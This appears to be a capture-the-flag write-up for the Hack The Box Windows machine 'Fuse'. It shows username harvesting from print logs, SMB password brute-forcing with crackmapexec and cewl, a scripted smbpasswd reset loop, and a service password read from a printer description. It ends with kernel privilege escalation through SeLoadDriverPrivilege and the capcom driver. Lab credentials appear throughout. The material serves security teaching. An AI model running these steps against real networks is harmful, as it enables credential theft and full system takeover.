Fuse is a medium Windows box. During the enumeration of the target machine, we found a webserver running an instance of Papercut Printer Logger. The logs of the software revealed a few usernames that were then used to enumerate the RPC/SMB servers. Unfortunately, the server did not support null sessions thus we first had to find a valid password. Fortunately for us, the password was set to the name of the company. At this point, we were finally able to further enumerate the SMB shares and the RPC server. While the SMB shares were not that helpful, we were able to obtain an extended list of usernames as well as password through the issued RPC commands. As it turned out, one of the service users was indeed using that leaked password, which allowed us to get initial access to the system. Once we had access to the system, we discovered that our user had the SeLoadDriverPrivilege privilege enabled. We exploited that privilege by uploading our own vulnerable device driver (capcom) and then used EoPLoadDriver to exploit a vulnerability in that driver. This ultimately gave us access to the system as nt authority\system.
As always, we start by scanning the target machine’s open ports:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 rustscan --ulimit 5000 fuse.htb -- sV -sC -oN nmap_scan PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack Simple DNS Plus 80/tcp open http syn-ack Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-title: Site doesn't have a title (text/html). 88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2022-06-27 10:56:48Z) 135/tcp open msrpc syn-ack Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Defau lt-First-Site-Name) 445/tcp open microsoft-ds syn-ack Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP) 464/tcp open kpasswd5? syn-ack 593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack 3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Defau lt-First-Site-Name) 3269/tcp open tcpwrapped syn-ack 5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf syn-ack .NET Message Framing 49666/tcp open msrpc syn-ack Microsoft Windows RPC 49667/tcp open msrpc syn-ack Microsoft Windows RPC 49675/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0 49676/tcp open msrpc syn-ack Microsoft Windows RPC 49678/tcp open msrpc syn-ack Microsoft Windows RPC 49698/tcp open msrpc syn-ack Microsoft Windows RPC 49754/tcp open msrpc syn-ack Microsoft Windows RPC Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows
The output of the port scan tells us that we are most likely dealing with a Windows Server, as it exposes a Kerberos service, RCP, LDAP, SMB and many other Windows Server typical ports. Our main targets will be:
- Port 80 - Microsoft IIS
- Port 88 - Kerberos
- Port 135 - RPC
- Port 139/445 - SMB
- Port 3268 - LDAP
- Port 5985 - WinRM
Enumeration Port 80 - IIS 10.0
Let’s start with the enumeration of the Microsoft IIS web server. Looking at the website, we can see that we are being redirected to the domain
fuse.fabricorp.local. As the DNS server cannot resolve this domain, we get the error
...cannot connect to the server at....
A way to fix this issue is to add an entry in the
/etc/hosts file which maps the IP to the domain name. Afterwards, we can access the web page as intended.
Here, we see an instance of
PaperCut Print Logger. A quick lookup in the offical documentation reveals some interesting behaviour:
1 2 3 The software will keep detailed activity log/logs of all user printing activity including information such as: 1) The user who printed (ie. their network user ID) ...
This means, by looking at the logs we might be able to gather existing usernames. And indeed! We can find a bunch of usernames in the User field as well as in the Document field.
The discovered usernames are:
1 2 3 4 5 6 sthompson bhult administrator pmerton tlavel bnielson
Enumeration Kerberos - ASREP-Roasting
Now that we have a list of potential usernames, we can check if one of them has the Kerberos PREAUTH disabled. To check that, we can use
Impacket's GetNPUsers.py. Unfortunaly, our findings show that all of them require PREAUTH.
Getting Access to SMB/RPC
The next step is to check if we can access the SMB shares and the RPC service. However, running
enum4linux-ng shows that we can neither of these services. Apparently the server does not allow anonymous sessions nor null sessions. This means, we must find a password for the found usernames. First, let’s try a small, common password list such as
1 2 ┌──(kali㉿kali)-[~/HTB/machines/fuse] └─$ crackmapexec smb 10.129.2.5 -u usernames -p /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
But…. we do not find any matching password. I then replaced the small password list with
rockyou.txt. After several hours of trying different passwords: Still no match!
Generating a password-list using cewl
Hmmmm, maybe we missed something on the website. However instead of looking for the password manually, we can use the tool
cewl to crawl for all words on the website and convert them into a password list.
1 2 ┌──(kali㉿kali)-[~/HTB/machines/fuse] └─$ cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > wordlist
Here’s an excerpt of the generated wordlist.
1 2 3 4 5 6 7 8 9 10 11 12 ┌──(kali㉿kali)-[~/HTB/machines/fuse] └─$ head wordlist 130 ⨯ CeWL 5.5.2 (Grouping) Robin Wood (firstname.lastname@example.org) (https://digi.ninja/) Print 2020 PaperCut Logs MFT01 PCL6 CSV Excel Logger
Let’s try it again. Maybe the password is somewhere hidden on the website without us ever noticing.
1 2 ┌──(kali㉿kali)-[~/HTB/machines/fuse] └─$ crackmapexec smb 10.129.122.50 -u usernames -p wordlist --continue-on-success | tee crackmapexec_bruteforce
This time we get 3 matches (for the users:
bnielson)!! The password is the name of the company
Fabricorp01! But, the interesting thing here is that the password does not result in a successful login but returns the error code
STATUS_PASSWORD_MUST_CHANGE. This means the password was once used as the password for those users (probably some default password for new employees) but expired and must now be re-newed.
Obtain valid credentials
As we are the good guys, we will of course be more than happy to do this task for them. To change their passwords, we can use the tool
Now we can use these credentials to enumerate the SMB shares. But wait… why do we get an
Let’s manually check what’s going on:
1 2 3 4 ┌──(kali㉿kali)-[~/HTB/machines/fuse] └─$ smbclient -L //10.129.122.50 -U 'bhult' Password for [WORKGROUP\bhult]: session setup failed: NT_STATUS_PASSWORD_MUST_CHANGE
NT_STATUS_PASSWORD_MUST_CHANGE? Didn’t we just do that? Alright. Let’s do it again for one user and check if it works:
That’s weird. It works for some time after the password reset but apparently the password resets back to the original password every minute. Nevertheless, in general it seems be to working. Let’s see if we can automate things so that we can enumerate the system without being forced to change the password every minute.
The following bash script should do that task for us. First, we check if the password can still be used to login as user
bhult. If not, we set the password to
password!1234 and pipe that in combination with the old password into
smbpasswd to change the password for us. Afterwards, we use that password once again for the authentication to the SMB server.
1 if echo "$pass" | smbclient -L //10.129.2.5 -U bhult 2>/dev/null >/dev/null; then echo "OK"; else pass='password!1234' && (echo 'Fabricorp01'; echo "$pass"; echo "$pass";) | smbpasswd -r 10.129.122.50 -s -U bhult; fi; smbclient -L //10.129.2.5 -U "bhult"
The script can then be used as follows:
However, after some time, when we use the script again, it fails:
It seems like we cant re-use passwords. So we have to find a way to make the passwords unique. My first thought was to include the date in the password, so we will never have the same password twice.
The idea of the new script is the same. But this time, instead of hard-coding the password to
password!1234, we dynamically create the password using the current
1 if echo "$pass" | smbclient -L //10.129.2.5 -U bhult 2>/dev/null >/dev/null; then echo "OK"; else pass="password\!$(date +'%N%S%M')";echo "Password changed to: $pass";(echo 'Fabricorp01'; echo "$pass"; echo "$pass";) | smbpasswd -r 10.129.2.5 -s -U bhult; fi; smbclient -L //10.129.2.5 -U "bhult"
Enumerating the SMB Share
Great, this time it works flawlessly! Now we can use it to check out the
However, the share does not contain any interesting files. Just lots of default files which do not provide us any additional information.
Enumerating the RPC service
Next, we check out the RPC service. Now that we have valid credentials, we should be able to enumerate other existing users and especially printers (as there should be at least one printer in the network).
Using the command:
enumdomusers, we obtain a list of all available users. Most of them are already part of our username list but some of them are new. Let’s add them to the list.
Going through the list of available commands, we find something called
1 2 rpcclient $> getprinter Usage: getprinter <printername> [level]
Hmmm… we need a printer name for that. Fortunately, we have a way to get that name! Remember the web interface showing the Printer Logs? One of the columns was named
Printer which contained the name of the printer:
We can now use that name for the command:
1 2 3 4 5 rpcclient $> getprinter HP-MFT01 flags:[0x800000] name:[\\10.129.2.5\HP-MFT01] description:[\\10.129.2.5\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)] comment:
There, we also get a password:
Let’s check if one of the found users (presumably the
svc-scan users) uses this password! (with the help of crackmapexec)
As expected. Both users that are related to the printer, use the password!
Now that we have a bunch of valid credentials, we can try to access the server via WinRM (using Evil-WinRM).
First, we try the user
Unfortunately, it fails. Next is the user
This time it works! We got access to the system! Here, we also get the user flag:
First, we do some basic enumeration on the system and our current user.
Looking at the
whoami /all output we discover something interesting:
Our user has the privilege
SeLoadDriverPrivilege. This privilege enables our current user to load and unload kernel drivers and execute code with kernel privileges aka
NT\SYSTEM. Now the question is: how do we create our own malicious drivers? Fortunately, there are plenty of articles that already describe how to do such things.
To be honest, at this point I was a bit too lazy to compile everything from scratch (C++ files) as described in the article so I simply searched for pre-compiled binaries and found this Github repository.
I simply transferred all the needed files to the target machine and executed the binaries:
This immediately gave me access to the system as